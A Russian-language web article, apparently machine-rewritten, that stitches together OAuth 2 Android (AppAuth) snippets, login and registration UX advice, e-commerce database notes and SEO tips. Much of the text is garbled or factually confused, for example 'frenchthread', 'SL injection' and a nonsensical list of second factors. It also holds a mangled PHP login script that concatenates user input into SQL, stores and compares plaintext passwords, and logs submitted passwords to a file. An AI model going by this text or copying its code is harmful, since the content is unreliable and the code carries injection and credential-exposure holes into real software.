Протокол авторизации OAuth 2 — введение в технологию на примерах

Не указывайте просто, что учетная запись с введенной электронной почтой существует — покажите возможные варианты

Вы не обязаны предоставлять его, если пользователь вводит адрес электронной почты, который вы уже храните на своем сайте и в своей базе данных. Это ни к чему не приведет. Сделайте свой выбор, почему и какое действие вы хотите, чтобы пользователь выполнил.

Регистрация

Предоставьте пользователям варианты и ответы на все потенциальные ошибки.

Сайты, которые отправляют пользователей прямо на страницу входа в систему, ужасны! Пользователь столкнулся с формой, отличной от той, которую он ожидал увидеть в качестве благодарности за регистрацию. ужасная встреча

Если возможно, включите встроенную проверку электронной почты. В результате пользователь избавляется от необходимости заполнять остальные поля.

Я понимаю, что глупо позволять хакерам проверять вашу базу данных на наличие электронной почты с помощью API. Однако, если вы хорошо разбираетесь в этом, попробуйте ограничить количество запросов к серверу или добавить аутентификацию по отпечаткам пальцев к оборудованию для ограничения доступа.

Формируем request для обновления токена

val refreshRequest = TokenRequest.Builder(
   authServiceConfig,
   AuthConfig.CLIENT_ID
)
   .setGrantType(GrantTypeValues.REFRESH_TOKEN)
   .setScopes(AuthConfig.SCOPE)
   .setRefreshToken(TokenStorage.refreshToken)
   .build()

Необходимо обратить внимание на две линии:

.setGrantType(GrantTypeValues.REFRESH_TOKEN)
.setRefreshToken(TokenStorage.refreshToken)

Вы передаете как сам frenchthread, так и refreshtoken в качестве типа grantType.

1. Задача

Создайте систему для регистрации, аутентификации и восстановления доступа на основе электронной почты.

Инструкция не может быть привязана к конкретным базам данных или программам из-за своей универсальности.

Кроме того, схема не использует двойную аутентификацию из-за определенных технических решений (таких как SMS или TTP), которые могут быть результатом логики бизнеса и продукта.

2. Формат

Для представления инструкции используется серия сценарных диаграмм с пояснениями. Отдельные сцены сценария не сразу понятны.

В схемах и диаграммах каждый экран имеет уникальное имя. Состояние может быть идентифицировано с помощью визуальных подсказок или логических характеристик (например, состояние “ValidationError” обозначает ошибки, возникающие при проверке формы).

Каждый серый (клиентский) и синий блок представляет собой функцию разрабатываемой системы. Поскольку реализация этих функций зависит от языка или программной среды, они не описываются отдельно.

В диаграммах соединительные линии (стрелки) имеют решающее значение. Они могут быть сплошными (обмен данными) или пунктирными. Например, вы можете создать API на основе пунктирных линий.

. Переносите электронную почту из поля ввода при входе в поле ввода сброса пароля

Оставьте ее в покое, если пользователь уже ввел адрес электронной почты и вы сообщаете ему, что комбинация неверна. Сделайте переход максимально плавным и быстрым, скрыв поле для ввода пароля и изменив текст кнопки так, чтобы он гласил “Сбросить пароль” сразу после того, как пользователь нажмет на эту опцию.

Плавный переход с сохранением электронной почты

. В мобильных приложениях разрешите пользователям использовать аутентификацию устройства для входа в систему

Абсурдно требовать от пользователей мобильного приложения входа в систему с запутанным набором электронных адресов и паролей.

Абсурдно требовать сложный пароль или адрес электронной почты для мобильного приложения. Большинство устройств имеют варианты входа для аутентификации (например, отпечаток пальца или идентификатор лица). Шаги должны быть выполнены в следующем порядке:

  1. После успешного входа в систему предложите пользователю аутентификацию устройства для будущих сеансов. Также предоставьте пользователю возможность отказаться от сообщения.
  2. Если пользователь решил использовать аутентификацию, позвольте ему завершить процесс.
  3. На следующей форме входа предложите возможность аутентификации с помощью единого входа или откройте модальное окно с запросом на аутентификацию.

. Двухэтапная аутентификация должна быть нормой для сайтов, содержащих конфиденциальную и платежную информацию

Для сайтов, которые хранят токены для кредитных карт, вы не обязаны его использовать. Тем не менее, вы должны включить двухфакторную аутентификацию. Она лучше работает для сайтов, которые хранят деньги в кошельке или на кредитном балансе. Не у всех ваших пользователей есть кошелек или кредитная карта.

Идеальная комбинация двухэтапной аутентификации – это:

  1. Телефон по электронной почте
  2. Дополнительная электронная почта
  3. Уведомление по электронной почте.

Push mail – это, на мой взгляд, самый быстрый вариант. Всегда эффективно. Обеспечьте простоту. Ввод генерируемого системой кода – еще один глупый шаг, который добавила компания Microsoft. Все, что мне нужно сделать, – это нажать кнопку с подтверждением, если у меня есть доступ к обоим устройствам (вход и регистрация). Пожалуйста, не заставляйте меня решать судоку!

. Постоянный вход в систему должен быть нормой для нечувствительных сайтов

Разрешите постоянный вход, если ваш сайт не содержит никакой конфиденциальной информации. невероятно важно для интернет-магазинов. Пользователь может просмотреть сайт и свои предыдущие действия после входа в систему. Если вы автоматически выходите из системы через определенное время, вы нарушаете UX.

Хотя действия пользователя (например, товары, добавленные в корзину) сохраняются, срок действия сессии может истечь. Независимо от истечения срока действия сессии, вы можете ограничить доступ к личной информации, запросив пароль. С другой стороны, Amazon является ярким примером, где аутентификация требуется только для доступа к личным данным.

Если ваше мобильное приложение выходит из системы через день, вам должно быть стыдно. В него нельзя постоянно входить (действуют стандартные исключения). Приложения, которые вы используете для входа в систему, не используют общие устройства.

. Не заставляйте пользователя входить в систему, если он может выполнить свои действия и без входа

Обычно первым шагом при оформлении заказа является вход пользователя в систему или отправка электронного письма. Визуально установите приоритет оплаты. Для пользователя, который в данный момент не вошел в систему с учетной записью, путь может быть следующим:

  1. Запрос электронной почты
  2. Проверьте, существует ли электронная почта в системе, пока пользователь переходит к следующему шагу. Если у пользователя есть учетная запись, предложите ему войти в систему, отправив сообщение, чтобы облегчить процесс (проверьте, связаны ли адрес доставки и платежная карта с учетной записью).
  3. Если пользователь хочет войти в систему, откройте модальное окно с формой и опциями однократной регистрации. Как вы уже знаете, если пользователь в прошлый раз использовал единую регистрацию, установите этот параметр. Порядок должен быть следующим:
Порядок опций в модальном окне

Примечание: Нет забытого пароля Он, по сути, переходит к этой теме, прежде чем продолжить.

  1. Если попытки входа не увенчались успехом, вежливо скажите пользователю, чтобы он не беспокоился и что вы привяжете транзакцию к его счету (и сделайте это!). Пользователь должен завершить процесс покупки без каких-либо проблем. Убедитесь, что он сам закрыл модальное окно. Простое закрытие модального окна будет раздражать его.

Отметьте обязательные поля и сгруппируйте их

Поля, обязательные для заполнения, должны быть четко обозначены. Неэффективно обозначать обязательное поле звездочкой (*). Но это все же лучше, чем ничего не делать. Сначала следует сделать обязательные поля, а затем необязательные.

Правильная группировка и обозначение полей

С точки зрения HTML четко указывайте поля для входных данных (через стандарт автозаполнения — см. здесь).

Регистрация через email

Регистрация пользователей электронной почты состоит из двух этапов:

  1. Заполнить регистрационную форму
  2. Подтвердить свой email.

Пользователи могут регистрироваться с любым количеством заполненных полей. Однако для этого существуют поля “email” и “пароль”, по первому из которых определяется тип регистрации (если есть пароль, то он создается), в противном случае – нет.

1. Заполнение формы

Присутствие учетной записи

Регистрация электронной почты используется для проверки наличия почты в базе данных. Процесс передачи контроля будет осуществляться через общую функцию “проверка наличия связанных социальных сетей”, если пользователь с таким электронным адресом уже зарегистрирован.

Временный счет

Пользователь не подтверждает электронную почту до тех пор, пока его временный адрес не будет проверен. Это позволяет:

  • Более гибкое управление правами доступа (например, вы можете ограничить набор действий, разрешенных для данных пользователей);
  • Автоматическая очистка базы данных от неактивированных учетных записей (например, через определенный период).

Временный счет может иметь собственную строку в таблице или булев флаг.

2. Подтверждение

Стандартным методом подтверждения электронной почты является ссылка с GET-параметрами.

Жизнь жизни

Вы можете установить время жизни ссылки подтверждения немного меньше, чем время жизни постоянных учетных записей, если у вас есть возможность отслеживать временные учетные записи в базе данных. Если временная учетная запись пользователя уже удалена, а он хочет подтвердить ее по электронной почте.

Повторное подтверждение

В некоторых обстоятельствах можно будет управлять повторными нажатиями на ссылку подтверждения и выводить пользователю сообщение “Email уже подтвержден”. Поскольку автор однажды столкнулся с неправильным использованием такой функциональности, это является частью плана. Но если вы уверены, что это не создаст проблем для вашего продукта, я советую вам использовать это.

. После входа в систему, если у пользователя есть незавершенные элементы из предыдущего сеанса, ЗАМЕНИТЕ их на новые!

Представьте себя у кассы магазина. Когда вы предъявляете свою карту постоянного покупателя, кассир увеличивает вашу общую сумму на 4 единицы.

Когда пользователь входит в систему перед оформлением заказа, сеанс слияния является фантастическим. Можно распознать только отдельные товары в корзине.

Если при оформлении заказа клиент обнаруживает, что в его предыдущей корзине были некоторые товары или их не было вообще (или и то, и другое), просто отобразите эти товары на странице благодарности со следующим текстом: “У вас были эти товары в предыдущей корзине? Вы хотите совершить покупку прямо сейчас? В этот момент добавьте эти товары в новую корзину и переместите их на страницу просмотра, где отображаются предыдущие выборы пользователя (например, способ оплаты и адрес доставки). У него должна быть возможность решить, какие товары он хочет приобрести, и отложить их на потом. Оптимизируйте путь.

Внедрите подтверждение правильности заполнения полей и показывайте возникающие ошибки

Формы, которые требуют полного заполнения, а затем выводят ошибки внизу, вызывают у людей наибольшее отвращение. Одновременно отсутствует и пароль (“безопасность”).

Похожее:  Simple lightweight NTLM in PHP | Playing on the frontier

В такой ситуации осознание человеком своих ошибок удержит его от ухода.

Встроенная валидация формы выполняет проверку, как только пользователь вводит данные в поле.

  1. Дождитесь нажатия на поле
  2. Проверьте введенные данные
  3. Если есть ошибка – покажите ее, но не возвращайтесь к этому полю (не нарушайте процесс заполнения формы пользователем).
  4. Когда пользователь фокусируется на неправильном поле (и поле не пустое), проверьте расположение и нажатие клавиш. Если поле заполнено правильно, выделите его зеленым цветом (но не закрывайте поле ввода сообщением об ошибке).

Эта логика должна сделать вопросы валидации устаревшими.

Открываем страницу логаута:

private val logoutResponse = registerForActivityResult(
	ActivityResultContracts.StartActivityForResult()
) {}

logoutResponse.launch(endSessionIntent)

Затем пользователь попадает на страницу выхода из системы, где сессия его браузера очищается.

Чтобы вернуться в приложение после выхода из системы, мы должны заблокировать перенаправление. Некоторые сервисы не позволяют указать URL для перенаправления после выхода из системы. Поэтому пользователь должен нажать на крестик в ССТ.

Поскольку не было перенаправления на приложение после закрытия вручную с помощью CCT, мы получаем result=cancelled.

В нашем примере с Github мы будем в любом случае очищать сессию и переходить на страницу входа в приложение.

Не блокируйте доступ к аккаунту из-за неподтвержденной электронной почты

Вы имеете право отказать пользователям в доступе к их учетным записям только потому, что они что-то нажали, если это не требуется для ведения бизнеса. Это особенно важно для интернет-магазинов. На таких сайтах нет необходимости проверять электронную почту.

Я обнаружил, что сервисы с обратным отсчетом 3-5 дней получают больше отказов. Пользователю не нужно запрашивать подтверждение.

2. Подтверждение

Продолжительность жизни

Ссылка на смену пароля не должна быть постоянной, так как это крайне нежелательно. Этим вы сможете избежать множества неприятных ситуаций. Мы специально смотрим на срок действия ссылки, когда проверяем сервер.

Мы не будем показывать конкретные сообщения об “устаревшей” ссылке, только общую ошибку “недействительная ссылка”, чтобы усложнить задачу злоумышленникам. Однако это может доставить пользователям неудобства. Альтернативы включают вечный конфликт, удобство или безопасность.

Деактивация ссылки на подтверждение

Поскольку тривиальный захват URL-адреса допускает непристойности, мы, очевидно, не можем разрешить пользователям сбрасывать пароль несколько раз по одной и той же ссылке. Ссылка становится неактивной после первого щелчка.

Конечно, вы можете удалить его из базы данных, но это затруднит выявление потенциальных хакеров. В любом случае, это тема для другой статьи.

1. Клиент

Показаны сообщения в блогах

Здесь все просто. Вы можете выводить сообщения, связанные с ответами сервера, ошибками проверки формы и другими событиями.

Валидация

Это совсем не сложно. Обычно требуется валидировать 3-4 различных типа полей формы, включая одну пользовательскую форму (RegExp) и дополнительную форму-маску. Имеет смысл применять валидацию к конкретным полям, а не брать ее из другой функции. К счастью, фреймворк имеет тонну готовых решений.

Отправка данных

Типичный механизм асинхронной отправки результатов Чаще всего он включен в каждый фреймворк “из коробки”, но бывают случаи, когда имеет смысл добавить функциональность (например, при работе с URL API).

Успешная аутентификация

2. Сервер

Ввод данных в базу DEO

Нежелательное содержимое, такое как SL injection или неприятные вещи вроде XSS, несомненно, должно быть удалено из любого сообщения, которое клиент (и не только клиент) отправляет на сервер. Самое главное, что это может повлиять на жизнеспособность и безопасность всех продуктов.

Валидация

Для проверки данных на сервере можно разработать отдельную функцию, которая учитывает как типы регулярных выражений, так и сами данные. В нескольких строках вы можете вызвать эту функцию.

Отправка email

Электронные письма можно отправлять на некоторых языках, в том числе через SMTP. Имеет смысл использовать для этого одну функцию, поскольку электронные письма могут отправляться из разных областей продукта.

Записать успешный вход

Клавиша Tab должна направлять к следующему полю

Хотя это просто, иногда нажатие клавиши Tab не переводит пользователя в следующее поле. Ожидается обратное. Когда вы набираете текст, посмотрите, нет ли ссылки или справочного тега. Используйте атрибут tab-index, чтобы помочь в решении проблемы.

В зависимости от ваших систем и требований, ниже приведены несколько рекомендаций:

  • Электронная почта пользователя должна быть идентификатором входа в систему.

Я просматриваю сайты, которые у вас без имен пользователей. Естественно, мне очень нравится это имя. Но запомню ли я его, если в нем много заглавных и строчных букв? Имя пользователя ускользает от меня, но я могу вспомнить адрес электронной почты. После того, как я войду в систему, пожалуйста, позвольте мне выбрать имя пользователя!

  • После успешной регистрации, пожалуйста, отправьте приветственное письмо по адресу

Приветственное письмо должно содержать подробную информацию о сайте, на котором зарегистрировался пользователь. Для поддержания удовлетворенности вашей CRM-команды, при необходимости, добавьте ссылку для проверки адреса электронной почты.

Chromecustomtabs, safarivc

ChromeCustomTabs(CCT) и SafariViewController(SafariVC) аналогично браузеру позволяют легко реализовать открытие веб-страниц в вашем приложении.

Они закрывают недостатки WebView

Недостатки браузера частично закрываются:

Изначально доступный только для Chrome, C CT теперь поддерживается множеством браузеров. Кроме того, в Android есть функция TrustedWebActivity. Подробнее о них вы можете прочитать на сайте.

Лучший способ – этот. Он скрывает почти все недостатки первых двух методов.

Mitm-атака для перехвата кода

Альтернативным вариантом является использование внешнего браузера для реализации этого решения.

Если приложение получает код, то браузер получает его еще раз.

Когда система ищет в базе данных пользователя URL перенаправления или находит его там, например, – “ошибка оператора”), есть вероятность перехвата данных вредоносного приложения. Приложение, распознающее такие же редиректы, может быть создано злоумышленником. Строка редиректа содержит все данные, которые были утечены.

Перехват редиректа в мобильном приложении
Перехват редиректа в мобильном приложении

В связи с этим при перенаправлении вы должны возвращать промежуточный код, а не токен. В противном случае никто не сможет использовать токен.

Вредоносное приложение могло бы получить код и обменять его на токен, как это произошло в вашем приложении, если бы вы использовали стандартный поток Authorization Code Flow. Но благодаря code_verifier и codes-challenge вредоносный перехват больше не существует.

Важно отметить, что использование универсальных ссылок (iOS) и appLink предотвратит успех такой атаки. Чтобы ссылка перенаправления открылась в приложении, на сервер должен быть загружен json-файл, содержащий описание подписи.

Однако, если мы аутентифицируемся с помощью внешнего сервиса, бывают случаи, когда мы не можем добавить json-файл на сервер. Это не всегда выгодно.

Oauth для приложений с серверной частью: рассмотрим по шагам

Последовательность шагов на схеме ниже.

  1. Пользователь перенаправляется на страницу аутентификации, где его просят разрешить приложению работать с данными его счета.
  2. После предоставления необходимых разрешений пользователь направляется на URL обратного вызова – адрес, который был указан при регистрации приложения и который предназначен для завершения авторизации. Код авторизации вставляется в GET-параметры URL.
  3. Сервер клиентского приложения делает POST-запрос к серверу авторизации API с кодом авторизации в качестве параметра.
  4. Сервер авторизации проверяет код и возвращает токен доступа приложению.
  5. Используя маркер доступа, приложение авторизуется на сервере API и получает доступ к запрошенным ресурсам пользователя.

Упомянутый выше вариант авторизации на самом деле является самым сложным, если задуматься (из-за коммуникации между серверами на последнем этапе). В этих обстоятельствах авторизация происходит только на клиенте, что позволяет злоумышленникам выдавать себя за другие приложения. Вы должны учитывать этот аспект при внедрении авторизации OAuth в свои сервисы.

Oauth и flow

Для аутентификации и авторизации используются OAuth2 или OpenID. Я не буду упоминать их в статье, потому что на Хабре уже есть подобный контент.

Мы разберем специфику мобильной разработки в следующей статье. Определения OAuth2 и OpenID для наших нужд неактуальны.

O Auth предлагает множество потоков, но не все они могут быть использованы приложением:

Авторизация

Теперь воспользуйтесь CCT, чтобы перейти на страницу авторизации.

Сущность AUTorizationService для операций автоматического обмена кодами-токенами предоставляется библиотекой AppAuth. При входе на экран появляется эта сущность. Очистка экрана необходима, если он пуст. В примере это выполняется в ViewModel экрана авторизации.

Создаем init:

private val authService: AuthorizationService = AuthorizationService(getApplication())

Войдите в Oncleared:

authService.dispose()

Прежде чем получить доступ к странице авторизации, необходимо намерение в ККТ. Для этого мы получаем AuthorizationRequest на основе информации, уже введенной в Bonus:

private val serviceConfiguration = AuthorizationServiceConfiguration(
   Uri.parse(AuthConfig.AUTH_URI),
   Uri.parse(AuthConfig.TOKEN_URI),
   null, // registration endpoint
   Uri.parse(AuthConfig.END_SESSION_URI)
)

fun getAuthRequest(): AuthorizationRequest {
   val redirectUri = AuthConfig.CALLBACK_URL.toUri()
   return AuthorizationRequest.Builder(
       serviceConfiguration,
       AuthConfig.CLIENT_ID,
       AuthConfig.RESPONSE_TYPE,
       redirectUri
   )
       .setScope(AuthConfig.SCOPE)
       .build()
}

Мы создаем намерение:

// тут можно настроить вид chromeCustomTabs
val customTabsIntent = CustomTabsIntent.Builder().build()

val openAuthPageIntent = authService.getAuthorizationRequestIntent(
   getAuthRequest(),
   customTabsIntent
)

После этого намерение включается. Чтобы получить код, мы должны обработать результат активации.

Для этого используйте ActivityResultContracts. В качестве альтернативы можно использовать startActuationForResult.

private val getAuthResponse = registerForActivityResult(ActivityResultContracts.StartActivityForResult()) {
   val dataIntent = it.data ?: return
   handleAuthResponseIntent(dataIntent)
}

getAuthResponse.launch(openAuthPageIntent)

Машина будет открыта с помощью библиотечных активностей, которые будут обрабатывать открытие ККТ и обработку редуктора. Кроме того, результат операции уже получен в прикладной активности.

Схема взаимодействия активити
Схема взаимодействия активити

Вся информация, которую мы указали в AutoConfig, будет обработана openAuthPageIntent.

Алгоритм авторизации.

Протокол авторизации OAuth 2 — введение в технологию на примерах

1. ввод login и пароля;

Проверка существующего login

Проверка пароля login;

. проверка регистрации блока сессии;

6. сообщение об успешной авторизации и изменение стиля страницы;

Переменная рассматривается как анонимная, если она не зарегистрирована.

Если есть совпадение, можно выбрать все:

SELECT *

На пользователей

WHERE login=”login” and pswd=”pswd”.

Необходимо выполнить следующий запрос для исключения инъекций SL:

SELECT *

На пользователей

WHERE login=”login”

Мы обновляем переменную новым значением и сравниваем его с ранее введенным значением.

Logout:

Начало сеанса —————-

session_start ();

—————-

/*

@ $conn=mssql_connect($DBHost, $DBUser, $DBPassword);

if (!#conn) {

Похожее:  Автоматический вход в систему Windows 7 без ввода пароля или в домен -

База “./inc /top”.php

echo “

”;

Echo “Ошибка соединения с сервером базы данных!” “;

echo “

”;

exit ();

Выбор активной БД

mssql_select_db ($DB_ST);

#——————————-

$ui=”none”;

if (isset ($_SESSION[‘uid’])) {

$ui=$_SESSION[‘uid’];

}

$ip=”none”;

if (isset ($_SERVER[‘REMOTE_ADDR’])) {

$ip=$_SERVER[‘REMOTE_ADDR’];

}

# $str_sql=”exec pr_log_out ‘ “.$ui.” ‘ “;

# $data_set=mssql_query($str_sql); */

——————-

unset ($_SESSION[‘uid’]);

unset ($_SESSION[‘nam’]);

unset ($_SESSION[‘kod_podr’]);

Для включения “./inc /top”.php

Включите домашнюю страницу в стратегию

Следуй “./inc”

?>

Login:

————–Запуск сессии

session_start();

Загрузить файл настроек —————–

“./inc/config.php” быть включенным;

#———————

Если был введен код входа деканата,

Если ($ bt_auth) установлена, тогда

если не существуют?

if (!isset ($login) l l !isset ($pswd)

«./inc/top»

include “./inc/main.php”; # прорисовать главную страницу

“./inc/bottom.txt” включен;

exit ();

}

$login=trim ($login);

$pswd=trim ($pswd);

Подстроение ($ login, 0,12);

$pswd=substr($pswd,0,12);

Если ни имя, ни пароль не пусты,

if (empty ($login) l l empty ($pswd)) {

Var “inc/top.php”

Для “./inc_main”;

“./inc/bottom.txt” включен;

exit ();

}

проверка пароля на вшивость

/* $spec=” ” ‘ \{} [] () ! ? l – = . * , ; ~ @ # $ % ^ & “;

if (ereg (“ [“.$spec.”]”, $pswd)) {

Следуйте “./inc” – «Top»

Следуйте “./inc/main”;

“./inc/bottom.txt” включен;

exit ();

} */

-–— – ——————-

@ $conn=mssgl_connect ($DBHost, $DBUser, $DBPassword);

if (!$conn) {

Для “./inc” (c) – традиционная верхушка

echo “

”;

Echo “Ошибка соединения с сервером базы данных!” “;

echo “

”;

“.inc/bottom.txt” включен;

exit ();

}

—————

mssql_select_db($DB_ST);

—————-Аутентификация пользователей-

if (($login) &&($pswd)) {

$str_sql=”SELECT * FROM users WHERE login=’ “.$login.” ‘ “;

$data_set=mssql_query ($str_sql);

$spec=” “ ‘ \ {} [] () ! ? l – = . * , . ; ~ @ # $ % ^ & “;

if ($data_set) {

$rst=mssql_fetch_array ($data_set); # получить данные о пользователе

if ($rst) {

if (($rst[‘pswd’]==$pswd) &&!ereg (“[“.$spec.”]”, $pswd)) {

unset ($_SESSION[‘uid’]); #удалить переменную сессии

unset ($_SESSION[‘nam’]); # удалить переменную сессии

unset ($_SESSION[‘kod_podr’]); # удалить переменную сессии

регистрация переменной сессии

$_SESSION[‘uid’]=$rst[‘uid’];

($_SESSION[‘kod_podr’]=$rst[‘kod_podr’];

$_SESSION[‘nam’]=$rst[‘nam’].” “.$rst[‘fam’];

}

}

}

—- –—————-

$file_log=”./logs/users.log”;

@ $fp=fopen ($file_log, “a”);

if ($fp) {

#result=”ok”;

if (!isset ($_SESSION[‘uid’])) {

$result=”error”;

}

$outstring.=”[“.date(“L M-d H:i:s Y”). ”] “;

$forward=getenv (“HTTP_X_FORWARDED_FOR”);

$ip=$_SERVER[“REMOTE_ADDR”];

if (($forward!=NULL)&&($forward!=$_SERVER [“REMOTE_ADDR”])) {

$outstring.=”[“.$login.”] “;

$outstring.=”[“.$pswd.”] “;

$outstring.=”[“.$result.”] “;

$outstring.= “n”;

fwrite($fp, $outstring);

fclose($fp);

} # if ($fp) {

}

} # if ($bt_auth) {

Проверяем результаты авторизации

$top_page=”top_u.php”;

$main_page=”main.php”;

Если пользователь не авторизован

if (!isset ($_SESSION[‘uid’])) {

$top_page=”top.php”;

$main_page=”log_err.php”;

}

— “./inc”; – прорисовать верх

include “./inc/”/$main_page; # прорисовать главную страницу

“./inc/bottom.txt” включен;

?>

§

При совершении покупки покупатель должен пройти следующие этапы:

Нахождение информации о продукте и формирование мнения о нем.

1. Оценка продукта перед покупкой;

3. намерение совершить покупку;

4. присутствие или отсутствие покупки;

5.оценка товара при покупке.

При выполнении вышеуказанных действий через интернет-магазин:

Какие факторы влияют на принятие решения? Поисковые системы, электронные каталоги и наличие положительных отзывов о работе электронного магазина.

Интернет-продвижение. Узнаваемость бренда, гарантия и обслуживание, а также способ упаковки товара – все это факторы, которые потребители учитывают перед совершением покупки.

4. Организатор электронного магазина должен следить за тем, чтобы доставка и качество заказа полностью соответствовали друг другу.

Ru принимает следующие формы оплаты заказа:

1. использование пластиковых карт (дебетовых и кредитных) для оплаты;

Банковский перевод;

Почта оплачивается наличными при доставке;

4. предварительная оплата электронными деньгами.

Веб-сайт, известный как “электронный магазин”, осуществляет онлайн-продажи с помощью электронного каталога или другой формы представления товара.

§

3. удобная система навигации;

Система перекрытых ссылок;

1. необходимый минимум действий для совершения покупок.

По степени автоматизации взаимодействия покупателя и виртуального магазина можно выделить следующие категории интернет-магазинов:

Web-витрина;

2. Интернет -магазин;

Торговые системы Internet-системы.

Электронные окна.

Веб-сайт – это название цифрового дисплея, который содержит все сведения о продукте и все изображения.

При размещении заказа клиент пишет электронное письмо администратору ресурса (или, если он находится поблизости, звонит по указанному номеру).

Поставка: Способность начать реализацию проекта в кратчайшие сроки.

Минусы: Требует дополнительных усилий и действий со стороны покупателя.

Область применения:

Организации, реализующие продукцию специализированных категорий (например, промышленное оборудование и строительные принадлежности);

3. для предприятий, которые производят продукцию в соответствии с требованиями конкретных клиентов.

§

§

§

§

Shopper

IdShopper – идентификатор покупателя.

FirstName — имя покупателя;

LastName — фамилия;

Address – адрес (улица, номер дома, квартира);

Город – город (статья населения);

Регион: Название области, края или другого субъекта Российской Федерации;

IpCode — почтовый индекс;

Phone — телефон;

E-mail – e-mail (должен существовать);

DtEnter – это дата, когда была введена информация о покупке;

Имя пользователя, используемое для доступа к вашему профилю, – UserName.

Password — пароль.

Примечание: Профиль может быть изменен, если заказ размещается в новом профиле.

Между покупателем и заказом существует связь с помощью покупки и корзины.

Протокол авторизации OAuth 2 — введение в технологию на примерах

В таких обстоятельствах у одного клиента может быть несколько корзин. Эта система должна иметь механизм, позволяющий удалять корзины, для которых истек срок формирования корзины.

Таблица корзины

idBasket – идентификатор корзины;

Количество товаров в корзине, B SCnt;

DtBaskets – дата создания корзины;

IdShopper: Это уникальный идентификатор покупателя, который создал корзину.

OrderFlag – это символ, указывающий на то, что вы размещаете заказ на основе товаров в вашей корзине;

Цена товара в корзине, без учета налогов, доставки и обработки заказа, – это его субстоимость.

TotalCost – общая стоимость заказа, как она отображается в корзине;

ShippingCost — стоимость доставки.

§

§

§

§

§

Протокол авторизации OAuth 2 — введение в технологию на примерах

Добавление новых позиций

AddTov Basket.php

Алгоритм работы рукописи:

1. убедитесь, что идентификатор покупателя настроен (id Shoper = 0);

2. Проверьте количество заказанного товара; если оно равно нулю, отправьте товар обратно на страницу;

3. Убедитесь, что создана корзина для конкретного заказа. Создайте новую корзину, если ее нет.

Добавление идентификатора id корзины к текущей сессии

5. Проверьте, доступен ли товар в корзине, если таковая имеется;

5. Если корзина пуста, добавьте новый товар или измените уже имеющийся.

Серия запросов SL используется для реализации действий системы по отношению к выбранной базе данных.

§

1. tab

Выберите имя и сумму (CNT)

From tab

Организовать по имени

Количество строк, возвращаемых оператором Select, ограничено оператором Select.

Select *

From tab

Limit 5, 10

Возвращает строки, начинающиеся с номеров от 6 до 15, или из набора выводится 10 строк, с отклонением 5 в наборах строк.

Используется для упорядочивания постраничного вывода наборов данных.

Еще один пример использования границы:

Select *

From tab

Ограничитель 95, -1

Выберите линии, начиная с позиции 96, которые имеют определенные углы.

Select *

From tab

Limit 10

Первая строка наборов данных возвращается в начало.

Select *

From tab

Limit 0

В настоящее время в базе данных отсутствует колонка результата.

Ввод данных для доставки товаров.

Реализация этой процедуры:

Проверьте, установлен ли сам заказ или идентификатор статуса заказа. Если нет, сделайте клиенту новый заказ;

Загрузить страницу для выполнения параметров заказа.

Убедитесь что все поля заполнены;

5. Определите стоимость доставки непосредственно на основе переменных, используемых для ее определения, и общей стоимости заказа;

5. изменить статус заказа на 1, то есть, несмотря на получение, заказ не выполняется;

Затем состояние заказа имеет диапазон значений 2, 3 или 4.

2 – подтверждение заказа;

3 – происходит отгрузка товара покупателю;

4 – Заказ выполнен, товар доставлен, клиент подтверждает.

§

§

§

§

Под транзакционные запросы;

Под навигационные запросы;

Под информационные запросы.

Оптимизация в контексте запроса информации включает :

2. оптимизацию методов тегов;

3. оптимизацию адресов страниц;

4. оптимизацию альтернативных подписей;

4. Оптимизация веб-страниц для поисковых систем.

Оптимизация методов тегов

Относятся:

1.</p><p>2.<meta description></p><p>3.<meta keywords></p><p>1.<title></p><p>Самый решающий фактор, потому что его показывают результаты поиска. Максимальное количество слов – 60, уникальный заголовок на каждой странице.</p><p>2.<meta description></p><p>Приведенные ссылки отображают результаты поиска. Что касается структуры тега, то он должен быть кратким и не содержать случайных слов. Ключевые слова из семантического ядра должны быть включены в описание. Описание есть на каждой странице.</p><p>3.<meta keywords></p><p>Не учитывается поисковой системой при регистрации в каталогах.</p><p>Оптимизация адресов страниц:</p><p>1. Адреса должны быть без ошибок;</p><p>2. Они не должны быть слишком длинными;</p><p>3. не может быть встроенным, например, программа JavaScript.</p><p>Оптимизация DES подписей альтернативы.</p><p>При определении рейтинга документа в поисковой системе Rambler, Google учитывается содержание атрибута. как он влияет на появление изображения в результатах поиска</p><p>Побочная оптимизация.</p><p>1. На одной странице должно быть от 400 до 2500 слов;</p><p>Размером от 5 до 25 кБ, без графики.</p><p>Основные разделы сайта должны быть перечислены на главной странице;</p><p>5. Тег должен быть максимально приближен к словарям из семантического ядра текста;</p><p>Заголовки разделов должны содержать теги;</p><p>, и ;</p><p>В документе должно содержаться от 5 до 8% ключевых слов;</p><p>8. Ссылки на другие страницы должны быть включены на оптимизированной странице для повышения релевантности. Текст ссылки должен включать ключевые слова.</p><p>9. Наибольшее количество страниц должно быть доступно с главной страницы сайта;</p><p>10. Меню на главной странице должно быть текстовым и использовать семантическую лексику ядра.</p></div></div></div><div id="readability-page-18" class="page"><p>§</p><div><div id="mainContent" class=""><p>Включает следующие события:</p><p>Регистрация сайта в тематических каталогах;</p><p>Регистрация в поисковой системе;</p><p>Обмен и покупка ссылок;</p><p>3. увеличение индекса цитирования.</p><p>1. При регистрации в тематических каталогах необходимо указывать URL, адрес электронной почты и контактную информацию компании.</p><p>Регистрация сайтов в поисковых системах приводит к тому, что стоящие в очереди сайты не индексируются</p><p>Для обмена и покупки ссылок можно использовать следующие приемы:</p><p>Естественные ссылки, которые являются признаком качества сайта, не работают для сайтов, которые уже находятся в Интернете;</p><p>Регистрация в каталогах;</p><p>Обмен перекрестными ссылками: На другой сайт должна быть сделана ответная ссылка с сайта-партнера.</p><p>Требования к ссылкам</p><p>1. прямые;</p><p>3. не должны быть генерируемыми;</p><p>4. Ссылки должны быть размещены на страницах, доступных для индексации;</p><p>3. покупка ссылок, что быстро, но затратно;</p><p>4. публикация новостей и контента на внешних веб-сайтах.</p><p>Замечание:</p><p>1. Внешних ссылок должно быть не более 30-35;</p><p>Очень важно проверять ссылки после обмена ими;</p><p>Необходимо проверить индексацию ссылок;</p><p>5. на незаконные методы размещения ссылок на форумах, спам и гостевые книги.</p></div></div></div><h2>Браузер отсутствует</h2><p>В Android отсутствует браузер, в отличие от iOS. Это необходимо для того, чтобы мы могли использовать ККТ и поддерживать этот метод.</p><p>Современные браузеры, такие как Chrome, Firefox и другие, поддерживают эту функцию. Однако, если у пользователя нет такого браузера, он будет открываться по умолчанию.</p><p>Как тестировать браузеры, поддерживающие CCT, описано на официальной странице сайта Google.</p><h2>В завершение</h2><p>Я буду очень признателен за ваши отзывы в комментариях, если у вас есть замечания по компоненту UX. 